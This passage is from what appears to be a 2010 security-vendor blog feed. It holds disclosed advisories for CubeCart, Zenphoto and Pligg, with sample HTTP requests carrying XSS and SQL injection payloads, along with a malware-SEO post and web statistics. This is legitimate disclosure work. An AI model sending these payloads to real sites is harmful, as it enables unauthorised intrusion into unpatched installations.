Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294; ccUser=7c970bfe00c50261d25166dbab43c294
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)</pre>
<p><strong>4.</strong> Cross-site Scripting vulnerability in <strong>&#8220;/cubecart_4/modules/gateway/WorldPay/return.php&#8221;</strong>, parameter <strong>&#8220;email&#8221;</strong>.</p>
<p><em><strong>Attack details</strong></em></p>
<p>URL encoded GET input <strong>email</strong> was set to <strong>&#8221; onmouseover=prompt(908306) bad=&#8221;</strong><br />
The input is reflected inside a tag element between double quotes.</p>
<p><strong><em>Sample HTTP Request:</em></strong></p>
<pre class="brush:text">GET /cubecart_4/modules/gateway/WorldPay/return.php?amount=&amp;cartId=&amp;email=%22%20onmouseover%3dprompt%28908306%29%20bad%3d%22&amp;transId=&amp;transStatus= HTTP/1.1
Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294; ccUser=7c970bfe00c50261d25166dbab43c294
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)</pre>
<p><strong>5.</strong> Cross-site Scripting vulnerability in <strong>&#8220;/cubecart_4/modules/gateway/WorldPay/return.php&#8221;</strong>, parameter <strong>&#8220;transId&#8221;</strong>.</p>
<p><em><strong>Attack details</strong></em></p>
<p>URL encoded GET input <strong>transId</strong> was set to <strong>&#8221; onmouseover=prompt(998313) bad=&#8221;</strong><br />
The input is reflected inside a tag element between double quotes.</p>
<p><strong><em>Sample HTTP Request:</em></strong></p>
<pre class="brush:text">GET /cubecart_4/modules/gateway/WorldPay/return.php?amount=&amp;cartId=&amp;email=&amp;transId=%22%20onmouseover%3dprompt%28998313%29%20bad%3d%22&amp;transStatus= HTTP/1.1
Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294; ccUser=7c970bfe00c50261d25166dbab43c294
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)</pre>
<p><strong>6.</strong> Cross-site Scripting vulnerability in <strong>&#8220;/cubecart_4/modules/gateway/WorldPay/return.php&#8221;</strong>, parameter <strong>&#8220;transStatus&#8221;</strong>.</p>
<p><em><strong>Attack details</strong></em></p>
<p>URL encoded GET input <strong>transStatus</strong> was set to <strong>&#8221; onmouseover=prompt(923101) bad=&#8221;</strong><br />
The input is reflected inside a tag element between double quotes.</p>
<p><strong><em>Sample HTTP Request:</em></strong></p>
<pre class="brush:text">GET /cubecart_4/modules/gateway/WorldPay/return.php?amount=&amp;cartId=&amp;email=&amp;transId=&amp;transStatus=%22%20onmouseover%3dprompt%28923101%29%20bad%3d%22 HTTP/1.1
Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294; ccUser=7c970bfe00c50261d25166dbab43c294
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)</pre>
<p>These vulnerabilities were reported to the CubeCart team on 22/7/2010 via the support system on their website and they were fixed in latest version of CubeCart .  If you are using CubeCart, download the latest version from their website.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/sql-injection-xss-cubecart-4-3-3/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Web Security problems in Zenphoto version 1.3</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/zenphoto-13-advisory/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/zenphoto-13-advisory/#comments</comments>
		<pubDate>Tue, 07 Sep 2010 07:52:14 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[Acunetix WVS]]></category>
		<category><![CDATA[advisory]]></category>
		<category><![CDATA[cross site scripting]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[vulnerabilities]]></category>
		<category><![CDATA[zen photo]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=2173</guid>
		<description><![CDATA[We are continuing with the list of security vulnerabilities found in a number of web applications while testing our latest version of Acunetix WVS v7 . In this blog post, we will look into the ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/zen-photo-logo.png"><img class="alignleft size-full wp-image-2197" title="zen photo logo" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/zen-photo-logo.png" alt="" width="200" height="50" /></a>We are continuing with the list of security vulnerabilities found in a number of web applications while testing our latest version of <a href="http://www.acunetix.com/blog/releases/acunetix-7-web-security-easier-cost-effective/" target="_self">Acunetix WVS v7</a> . In this blog post, we will look into the details of a number of security problems discovered by Acunetix WVS in the popular web gallery application Zenphoto;</p>
<p><span id="more-2173"></span></p>
<blockquote><p>Zenphoto is a standalone gallery CMS that just makes sense and doesn’t try to do everything and your dishes. We hope you agree with our philosophy: simpler is better. Don’t get us wrong though – Zenphoto really does have everything you need for web media gallery management.</p></blockquote>
<p><strong>The following web vulnerabilities were found in Zenphoto Version 1.3;</strong></p>
<ol>
<li>SQL injection in <strong>&#8220;/zenphoto_1_3/zp-core/full-image.php&#8221;</strong>, parameter <strong>&#8220;a&#8221;</strong>.</li>
<li>Cross-site Scripting vulnerability in <strong>&#8220;/zenphoto_1_3/zp-core/admin.php&#8221;</strong>, parameter <strong>&#8220;from&#8221;</strong>.</li>
<li>Cross-site Scripting vulnerability in <strong>&#8220;/zenphoto_1_3/zp-core/admin.php&#8221;</strong>, parameter <strong>&#8220;user&#8221;</strong>.</li>
</ol>
<p><strong>Technical details about each web vulnerability are below:</strong></p>
<p><strong>1.</strong> SQL injection in <strong>&#8220;/zenphoto_1_3/zp-core/full-image.php&#8221;</strong>, parameter <strong>&#8220;a&#8221;</strong>.</p>
<p>Source file: <strong>/var/www/zenphoto_1_3/zp-core/functions-db.php</strong> line: <strong>65</strong></p>
<p><em><strong>Additional details:</strong></em></p>
<p><em><strong>SQL query:</strong></em></p>
<pre class="brush:sql">SELECT `id`, `album_theme` FROM `zp_albums` WHERE `folder` LIKE "1ACUSTART'"*" OR `folder` LIKE "1ACUSTART'"*/
 	ACUEND"</pre>
<p>&#8220;mysql_query&#8221; was called.</p>
<p><em><strong>Stack trace:</strong></em></p>
<pre class="brush:text">1. query([string] "SELECT `id`, `album_theme` FROM `zp_albums` WHERE `folder` LIKE "1ACUSTART'"*" OR `folder` LIKE "1ACUSTART'"*/\n 	ACUEND"", [boolean] false)
  2. query_full_array([string] "SELECT `id`, `album_theme` FROM `zp_albums` WHERE `folder` LIKE "1ACUSTART'"*" OR `folder` LIKE "1ACUSTART'"*/\n 	ACUEND"")
  3. getAlbumInherited([string] "1ACUSTART'"*/\n 	ACUEND", [string] "album_theme", [NULL] )
  4. themeSetup([string] "1ACUSTART'"*/\n 	ACUEND")</pre>
<p>As you can see in the SQL query (or the stack trace), in order to alter the SQL statement sent to the database you need to use a double qoute (not a single one, as in most SQL injections).</p>
<p><em><strong>Sample HTTP Request:</strong></em></p>
<pre class="brush:text">GET /zenphoto_1_3/zp-core/full-image.php?a=%24%7binjecthere%7d&amp;i=system-bug.jpg&amp;q=75 HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Cookie: PHPSESSID=fb161d1fe8597f17394ce4e39759840e; setup_test_cookie=5479
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)</pre>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/sql_injection.png"><img class="aligncenter size-medium wp-image-2181" title="sql_injection" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/sql_injection-300x230.png" alt="" width="300" height="230" /></a></p>
<p><strong>2.</strong> Cross-site Scripting vulnerability in <strong>&#8220;/zenphoto_1_3/zp-core/admin.php&#8221;</strong>, parameter <strong>&#8220;from&#8221;</strong>.</p>
<p><em><strong>Attack details</strong></em></p>
<p>URL encoded GET input <strong>from</strong> was set to <strong>&#8221; onmouseover=prompt(934419) bad=&#8221;</strong>.<br />
The input is reflected inside a tag element between double quotes.</p>
<p><strong><em>Sample HTTP Request:</em></strong></p>
<pre class="brush:text">GET /zenphoto_1_3/zp-core/admin.php?from=%22%20onmouseover%3dprompt%28934419%29%20bad%3d%22 HTTP/1.1
Cookie: PHPSESSID=fb161d1fe8597f17394ce4e39759840e; setup_test_cookie=5479
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)</pre>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/xss_zenphoto.png"><img class="aligncenter size-medium wp-image-2187" title="xss_zenphoto" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/xss_zenphoto-300x230.png" alt="" width="300" height="230" /></a><br />
<strong>3.</strong> Cross-site Scripting vulnerability in <strong>&#8220;/zenphoto_1_3/zp-core/admin.php&#8221;</strong>, parameter <strong>&#8220;user&#8221;</strong>.</p>
<p><em><strong>Attack details</strong></em></p>
<p>URL encoded POST input <strong>user </strong> was set to <strong>&#8221; onmouseover=prompt(932890) bad=&#8221;</strong>.<br />
The input is reflected inside a tag element between double quotes.</p>
<p><strong><em>Sample HTTP Request:</em></strong></p>
<pre class="brush:text">POST /zenphoto_1_3/zp-core/admin.php HTTP/1.1
Content-Length: 149
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=fb161d1fe8597f17394ce4e39759840e; setup_test_cookie=5479
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)

code_h=1644ca84b35bf7663c5e828744339de8&amp;login=1&amp;pass=acUn3t1x&amp;redirect=%2fzp-core%2fadmin.php&amp;user=%22%20onmouseover%3dprompt%28932890%29%20bad%3d%22</pre>
<p>These vulnerabilities were reported to the Zenphoto team on 22/7/2010 via the trac system on their website and they were fixed in latest version of Zenphoto.  If you are using Zenphoto, download the latest version from their website.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/zenphoto-13-advisory/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Security vulnerabilities in Pligg CMS version 1.0.4</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/web-vulnerabilities-pligg/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/web-vulnerabilities-pligg/#comments</comments>
		<pubDate>Fri, 03 Sep 2010 13:09:50 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[Acunetix WVS]]></category>
		<category><![CDATA[advisory]]></category>
		<category><![CDATA[cross site scripting]]></category>
		<category><![CDATA[pligg]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[web vulnerabilities]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=2011</guid>
		<description><![CDATA[While beta testing the latest version of Acunetix WVS v7, we found a large number of security vulnerabilities in various web applications. In the following days we will publish some of these vulnerabilities.  Note that ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/09/pligg_logo.gif"><img class="alignleft size-full wp-image-2171" title="pligg logo" src="http://www.acunetix.com/blog/wp-content/uploads/2010/09/pligg_logo.gif" alt="" width="150" height="52" /></a>While beta testing the latest version of <a href="http://www.acunetix.com/blog/releases/acunetix-7-web-security-easier-cost-effective/" target="_self">Acunetix WVS v7</a>, we found a large number of security vulnerabilities in various web applications. In the following days we will publish some of these vulnerabilities.  Note that we will not publish vulnerabilities found in applications that are not commonly used or in beta stage.</p>
<p>One of the tested web applications is Pligg;</p>
<p><span id="more-2011"></span></p>
<blockquote><p>Pligg is an open source CMS (Content Management System) that you can download and use for free. Pligg CMS provides social publishing software that encourages visitors to register on your website so that they can submit content and connect with other users.</p></blockquote>
<p>The following web vulnerabilities were found in Pligg CMS Version 1.0.4;</p>
<ol>
<li>SQL injection in &#8220;<strong>/pliggcms_1_0_4/login.php</strong>&#8220;, parameter &#8220;<strong>email</strong>&#8220;.</li>
<li>Cross-site Scripting vulnerability in &#8220;<strong>/pliggcms_1_0_4/user.php</strong>&#8220;, parameter &#8220;<strong>category</strong>&#8220;.</li>
</ol>
<p>Technical details about each web vulnerability are below;</p>
<p><strong>1.</strong> SQL injection in &#8220;<strong>/pliggcms_1_0_4/login.php</strong>&#8220;, parameter &#8220;<strong>email</strong>&#8220;.</p>
<p>Source file: <strong>/var/www/pliggcms_1_0_4/libs/db.php</strong> line: <strong>222</strong></p>
<p>Additional details:</p>
<p>SQL query:</p>
<pre class="brush:sql">SELECT * FROM `pligg_users` where `user_email` = '1ACUSTART'"*/rn     ACUEND' AND user_level!='Spammer'</pre>
<p>&#8220;mysql_query&#8221; was called.</p>
<p>Stack trace:</p>
<pre class="brush:text">1. ezSQL_mysql::query([string] "SELECT * FROM `pligg_users` where `user_email` = '1ACUSTART'"*/rn     ACUEND' AND user_level!='Spammer'")
2. ezSQLcore::get_row([string] "SELECT * FROM `pligg_users` where `user_email` = '1ACUSTART'"*/rn     ACUEND' AND user_level!='Spammer'")</pre>
<p>Sample HTTP Request:</p>
<pre class="brush:text">POST /pliggcms_1_0_4/login.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Content-Length: 68
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=4c7d8e111f3ec5e90e664e26f365cc04; mnm_user=tmp; mnm_key=dG1wOjIyZkpqa1BveUhCVFE6NWY1YTg5NTJkYzUzODI4NGYwOTA0Y2Q0NTUzNzk5NDE%3D; template=wistie
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)

email=sql'injection&amp;processlogin=3&amp;return=%2fpliggcms_1_0_4%2f</pre>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/08/acunetix_wvs_alert.png"><img class="aligncenter size-medium wp-image-2154" title="Acenetix WVS alert - SQL Injection" src="http://www.acunetix.com/blog/wp-content/uploads/2010/08/acunetix_wvs_alert-281x300.png" alt="acunetix wvs sql injection pligg cms" width="281" height="300" /></a></p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/08/sql_injection.png"><img class="aligncenter size-medium wp-image-2150" title="sql_injection_pligg" src="http://www.acunetix.com/blog/wp-content/uploads/2010/08/sql_injection-300x230.png" alt="sql injection pligg" width="300" height="230" /></a></p>
<p><strong>2.</strong> Cross-site Scripting vulnerability in <strong>&#8220;/pliggcms_1_0_4/user.php&#8221;</strong>, parameter <strong>&#8220;category&#8221;</strong>.</p>
<p><em><strong>Attack details</strong></em></p>
<p>URL encoded GET input <strong>category</strong>was set to <strong>&#8221; onmouseover=prompt(938687) bad=&#8221;</strong><br />
The input is reflected inside a tag element between double quotes.<br />
The input is reflected inside a tag element between single quotes.</p>
<p><strong><em>Sample HTTP Request:</em></strong></p>
<pre class="brush:text">POST /pliggcms_1_0_4/user.php?category=%22%20onmouseover%3dprompt%28938687%29%20bad%3d%22&amp;id=&amp;keyword=Search..&amp;login=&amp;module=&amp;page=&amp;search=&amp;view=search HTTP/1.1
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=4c7d8e111f3ec5e90e664e26f365cc04; mnm_user=tmp; mnm_key=dG1wOjIyZkpqa1BveUhCVFE6NWY1YTg5NTJkYzUzODI4NGYwOTA0Y2Q0NTUzNzk5NDE%3D; template=wistie
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)

username=</pre>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/08/xss.png"><img class="aligncenter size-medium wp-image-2152" title="xss" src="http://www.acunetix.com/blog/wp-content/uploads/2010/08/xss-300x230.png" alt="xss pligg" width="300" height="230" /></a></p>
<p>These vulnerabilities were reported to the Pligg team on 22/7/2010 via the contact form from their website and they were fixed in latest version of Pligg.  If you are using Pligg, download the latest version from their website.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/web-vulnerabilities-pligg/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Gray Powell and the lost iPhone, and malware</title>
		<link>http://www.acunetix.com/blog/news/gray-powell-lost-iphone-malware/</link>
		<comments>http://www.acunetix.com/blog/news/gray-powell-lost-iphone-malware/#comments</comments>
		<pubDate>Tue, 20 Apr 2010 08:45:10 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[Gray Powell]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[malware]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=1489</guid>
		<description><![CDATA[In case you didn&#8217;t hear about it already, the story of the day is Gray Powell and the lost iPhone. So I searched for him on Google.
I was really surprised to see that 4 out ...]]></description>
			<content:encoded><![CDATA[<p>In case you didn&#8217;t hear about it already, the story of the day is <a href="http://gizmodo.com/5520438/how-apple-lost-the-next-iphone" target="_blank">Gray Powell and the lost iPhone</a>. So I searched for him on Google.</p>
<p>I was really surprised to see that <strong>4</strong> out of <strong>10</strong> results from Google&#8217;s <strong>first page</strong> were links to malware.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-1490" title="gray_powell" src="http://www.acunetix.com/blog/wp-content/uploads/2010/04/gray_powell.png" alt="" width="635" height="412" /></p>
<p>If you click on any of those links, here is what you get:</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-1493" title="gray_powell_virus_1" src="http://www.acunetix.com/blog/wp-content/uploads/2010/04/gray_powell_virus_1.png" alt="" width="362" height="169" /></p>
<p>And then you receive the classic &#8216;<strong>Your computer is infected</strong>&#8216; window that proved to be so lucrative for malware writers. The window looks like a real Windows application and many people get confused and run the malware.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-1494" title="gray_powell_virus_2" src="http://www.acunetix.com/blog/wp-content/uploads/2010/04/gray_powell_virus_2.png" alt="" width="757" height="543" /></p>
<p>I&#8217;ve downloaded and scanned the malware on virustotal.com. <a href="http://www.virustotal.com/analisis/ce327a9d9f594bfac222788cae3cabc532266abead071a768d4f476f7f8de4c0-1271749088" target="_blank">Here is the report</a>. Basically, only <strong>10</strong> from all <strong>41</strong> antiviruses from VirusTotal detected the malware. That&#8217;s only <strong>24.4%</strong>, a pretty low detection rate for a malware that appears on the first page of Google results for a hot topic. I think many people already got infected by this.</p>
<p>The malware writers are pretty inventive, I think they&#8217;ve made an automated tool that automatically reads <a href="http://www.google.com/trends/hottrends" target="_blank">Google&#8217;s Hot Trends page</a> or Twitter&#8217;s trending topics and generate pages containing malware with those terms/searches in the title and some description around it. Gray Powell is #13 on Google&#8217;s Hot Trends page right now.</p>
<p>It&#8217;s a very dangerous technique and I think Google should do something about it, otherwise a lot of people will get infected.  Lately, Search Engine Optimization is being widely used for distributing malware.  So pay attention before you click any of Google&#8217;s results.  Don&#8217;t just read the page title and description, but also check the URL!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/gray-powell-lost-iphone-malware/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>VIDEO: Exploiting a Cross Site Scripting vulnerability in Mambo CMS</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/exploit-cross-site-script-mambo/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/exploit-cross-site-script-mambo/#comments</comments>
		<pubDate>Tue, 13 Apr 2010 11:53:31 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[Acunetix WVS]]></category>
		<category><![CDATA[cross site scripting]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[Mambo CMS]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=1466</guid>
		<description><![CDATA[In this video we look into the details of how an attacker is able to exploit a Cross Site Scripting vulnerability in Mambo CMS (version: 4.6.5), discovered by Bogdan Calin with Acunetix Web Vulnerability Scanner.
This ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2010/04/mambo_cms.png"><img class="alignleft size-full wp-image-1469" title="mambo_cms" src="http://www.acunetix.com/blog/wp-content/uploads/2010/04/mambo_cms.png" alt="" width="119" height="110" /></a>In this video we look into the details of how an attacker is able to exploit a Cross Site Scripting vulnerability in Mambo CMS (version: 4.6.5), discovered by Bogdan Calin with Acunetix Web Vulnerability Scanner.</p>
<p>This vulnerability is affecting a POST parameter in the Mambo CMS administration interface.  The attacker prepares a custom web page, which when the victim visits it, a form will be automatically submitted in the background, thus exploiting the vulnerability.  The form is hidden from the user in an iframe tag.</p>
<p>Once the victim, in this case a Mambo administrator visits this page, his cookie details are logged into a file, which the attacker can use to gain access to the Mambo CMS administration interface.  Watch the full video for more in-depth details.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="560" height="340" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/rhN4JNt6Yuc&amp;hl=en_US&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="560" height="340" src="http://www.youtube.com/v/rhN4JNt6Yuc&amp;hl=en_US&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Click <a href="http://www.youtube.com/watch?v=rhN4JNt6Yuc&amp;hl&amp;fmt=22" target="_blank">here</a> for high resolution version.</p>
<p style="text-align: left;">Subscribe to the <a href="http://www.youtube.com/acunetix" target="_blank">Acunetix YouTube channel</a> to be automatically notified when new web security and Acunetix WVS videos are uploaded.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/exploit-cross-site-script-mambo/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Statistics from the top 1,000,000 websites &#8211; part II</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/statistics-from-the-top-1000000-websites-part-ii/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/statistics-from-the-top-1000000-websites-part-ii/#comments</comments>
		<pubDate>Thu, 04 Mar 2010 09:38:59 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[registrar]]></category>
		<category><![CDATA[server headers]]></category>
		<category><![CDATA[statistics]]></category>
		<category><![CDATA[top 1000000 websites]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=1357</guid>
		<description><![CDATA[This is the second part of an older article we posted, where we present some statistics from the top 1,000,000 sites on the internet.  We are using the Alexa database as source for our statistics.  ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-1411" title="world_wide_web" src="http://www.acunetix.com/blog/wp-content/uploads/2010/03/world_wide_web.png" alt="" width="200" height="133" />This is the second part of an <a href="http://www.acunetix.com/blog/web-security-zone/articles/statistics-from-the-top-1000000-websites/">older article</a> we posted, where we present some statistics from the top 1,000,000 sites on the internet.  We are using the Alexa database as source for our statistics.  In the first part of this article, we presented the Top Web Servers, Apache version distribution, Microsoft IIS version distribution, Unix vs Windows and so on. In this second part we will include more statistics such as top mail server providers, top dns server providers, top AS names, country distribution and more.</p>
<p><span id="more-1357"></span></p>
<p><strong>Top MX Servers</strong></p>
<p>To start off with, I wanted to see where people are receiving their mail. Therefore, for each domain we queried the MX servers and calculated which servers are the most popular. The results are shown bellow:</p>

<table id="wp-table-reloaded-id-13-no-1" class="wp-table-reloaded wp-table-reloaded-id-13">
<thead>
	<tr class="row-1 odd">
		<th class="column-1">MX (mail server)</th><th class="column-2">Count</th><th class="column-3">Percentage</th>
	</tr>
</thead>
<tbody>
	<tr class="row-2 even">
		<td class="column-1">*.google.com</td><td class="column-2">57437</td><td class="column-3">38.57%</td>
	</tr>
	<tr class="row-3 odd">
		<td class="column-1">*.secureserver.net (Go Daddy)</td><td class="column-2">29155</td><td class="column-3">19.58%</td>
	</tr>
	<tr class="row-4 even">
		<td class="column-1">*.mail.dreamhost.com</td><td class="column-2">6089</td><td class="column-3">4.09%</td>
	</tr>
	<tr class="row-5 odd">
		<td class="column-1">*.kundenserver.de</td><td class="column-2">6055</td><td class="column-3">4.07%</td>
	</tr>
	<tr class="row-6 even">
		<td class="column-1">*.emailsrvr.com</td><td class="column-2">5448</td><td class="column-3">3.66%</td>
	</tr>
	<tr class="row-7 odd">
		<td class="column-1">*.1and1.com</td><td class="column-2">5323</td><td class="column-3">3.57%</td>
	</tr>
	<tr class="row-8 even">
		<td class="column-1">*.messagelabs.com</td><td class="column-2">4454</td><td class="column-3">2.99%</td>
	</tr>
	<tr class="row-9 odd">
		<td class="column-1">*.qq.com</td><td class="column-2">4156</td><td class="column-3">2.79%</td>
	</tr>
	<tr class="row-10 even">
		<td class="column-1">mail.automattic.com</td><td class="column-2">4107</td><td class="column-3">2.76%</td>
	</tr>
	<tr class="row-11 odd">
		<td class="column-1">*.mail.yahoo.com</td><td class="column-2">3852</td><td class="column-3">2.59%</td>
	</tr>
	<tr class="row-12 even">
		<td class="column-1">*.ispgateway.de</td><td class="column-2">3560</td><td class="column-3">2.39%</td>
	</tr>
	<tr class="row-13 odd">
		<td class="column-1">*.ovh.net</td><td class="column-2">3560</td><td class="column-3">2.39%</td>
	</tr>
	<tr class="row-14 even">
		<td class="column-1">*.masterhost.ru</td><td class="column-2">2749</td><td class="column-3">1.85%</td>
	</tr>
	<tr class="row-15 odd">
		<td class="column-1">*.rzone.de</td><td class="column-2">2377</td><td class="column-3">1.60%</td>
	</tr>
	<tr class="row-16 even">
		<td class="column-1">*.schlund.de</td><td class="column-2">2197</td><td class="column-3">1.48%</td>
	</tr>
	<tr class="row-17 odd">
		<td class="column-1">*.1and1.co.uk</td><td class="column-2">1994</td><td class="column-3">1.34%</td>
	</tr>
	<tr class="row-18 even">
		<td class="column-1">*.sitebuildit.com</td><td class="column-2">1772</td><td class="column-3">1.19%</td>
	</tr>
	<tr class="row-19 odd">
		<td class="column-1">*.frontbridge.com</td><td class="column-2">1675</td><td class="column-3">1.12%</td>
	</tr>
	<tr class="row-20 even">
		<td class="column-1">*.servage.net</td><td class="column-2">1564</td><td class="column-3">1.05%</td>
	</tr>
	<tr class="row-21 odd">
		<td class="column-1">*.mx-server.net</td><td class="column-2">1377</td><td class="column-3">0.92%</td>
	</tr>
</tbody>
</table>

<p>As you can see from the table above, most of the people are entrusting their mails to Google. Gmail for your domain (Google Apps for your domain) is very popular because it works well and it&#8217;s free for small companies. On the second place is *.secureserver.net. These are the MX servers from Go Daddy. On the third place is DreamHost.</p>
<p><strong>Top DNS Servers</strong></p>
<p>Next, we&#8217;ve calculated the NS (name server) distribution. Same procedure, for each domain we&#8217;ve queried the NS servers and calculated which servers are the most popular.</p>

<table id="wp-table-reloaded-id-14-no-1" class="wp-table-reloaded wp-table-reloaded-id-14">
<thead>
	<tr class="row-1 odd">
		<th class="column-1">NS server</th><th class="column-2">Count</th><th class="column-3">Percentage</th>
	</tr>
</thead>
<tbody>
	<tr class="row-2 even">
		<td class="column-1">*.domaincontrol.com (Go Daddy)</td><td class="column-2">40817</td><td class="column-3">21.64%</td>
	</tr>
	<tr class="row-3 odd">
		<td class="column-1">*.google.com</td><td class="column-2">19652</td><td class="column-3">10.42%</td>
	</tr>
	<tr class="row-4 even">
		<td class="column-1">*.xinnetdns.com</td><td class="column-2">12840</td><td class="column-3">6.81%</td>
	</tr>
	<tr class="row-5 odd">
		<td class="column-1">*.xinnet.cn</td><td class="column-2">12835</td><td class="column-3">6.81%</td>
	</tr>
	<tr class="row-6 even">
		<td class="column-1">*.dreamhost.com</td><td class="column-2">11768</td><td class="column-3">6.24%</td>
	</tr>
	<tr class="row-7 odd">
		<td class="column-1">*.name-services.com</td><td class="column-2">9818</td><td class="column-3">5.21%</td>
	</tr>
	<tr class="row-8 even">
		<td class="column-1">*.bluehost.com</td><td class="column-2">9472</td><td class="column-3">5.02%</td>
	</tr>
	<tr class="row-9 odd">
		<td class="column-1">*.ovh.net</td><td class="column-2">8762</td><td class="column-3">4.65%</td>
	</tr>
	<tr class="row-10 even">
		<td class="column-1">*.rackspace.com</td><td class="column-2">8155</td><td class="column-3">4.32%</td>
	</tr>
	<tr class="row-11 odd">
		<td class="column-1">*.mediatemple.net</td><td class="column-2">6702</td><td class="column-3">3.55%</td>
	</tr>
